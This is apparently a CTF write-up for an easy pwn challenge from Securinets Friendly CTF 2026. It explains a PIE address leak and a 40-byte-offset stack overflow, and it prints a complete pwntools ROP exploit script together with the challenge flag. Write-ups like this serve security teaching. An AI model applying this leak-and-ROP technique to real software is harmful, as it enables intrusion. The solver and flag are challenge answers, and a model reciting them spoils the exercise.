archlinux / r3t0x@portfolio
ALL SYSTEMS NOMINAL /
← Back to archive · Pwn

Securinets Friendly CTF 2026 / Pwn WRITEUP

XYZ

Every time CyberLeek reconnects, Rockstar's relay broadcasts a different location. It arrives without a label, a sender, or instructions. Somewhere in Leonida, the final build is waiting for the right crew.

EVENTSecurinets Friendly CTF 2026CATEGORYPwnDIFFICULTYeasyPOINTS200
pie-leakrop

Walkthrough

Solution

The printed address of leonida_relay reveals the PIE base. The 200-byte read into a 32-byte message buffer reaches the saved return address at offset 40, leaving room for a full ROP chain.

Use gadgets from the rebased binary to load the LUCIA, JASON, and CHOP constants into rdi, rsi, and rdx, then call complete_the_handoff. With all three arguments correct, it decodes the flag path and prints the file.

Reference solver

The reference solver supplied with the writeup:

#!/usr/bin/env python3
from pwn import *

context.log_level = "error"
elf = ELF("./main", checksec=False)
context.binary = elf

io = remote("127.0.0.1", 9006)

io.recvuntil(b"SIGNAL: ")
leak = int(io.recvline(), 16)
elf.address = leak - elf.symbols["leonida_relay"]

rop = ROP(elf)

payload = b"A" * 40
payload += p64(rop.find_gadget(["ret"]).address)
payload += p64(rop.find_gadget(["pop rdi", "ret"]).address)
payload += p64(0x4c55434941c35f)
payload += p64(rop.find_gadget(["pop rsi", "ret"]).address)
payload += p64(0x4a41534f4ec35e)
payload += p64(rop.find_gadget(["pop rdx", "ret"]).address)
payload += p64(0x43484f50c35a)
payload += p64(elf.symbols["complete_the_handoff"])

io.sendlineafter(b"MESSAGE: ", payload)
io.recvuntil(b"Securinets{")
flag = b"Securinets{" + io.recvuntil(b"}")
print(flag.decode())
io.close()

Flag

Securinets{unm4rk3d_c00rd1n4t3s_l3d_t0_th3_f1n4l_bu1ld}
Published 2026-09-28 · by r3t0x← Back to archive · Pwn
0xSEARCH_INDEX

Trace a memory.

INDEX ONLINE0 addresses
↑↓ TRACEENTER OPENESC DISMISS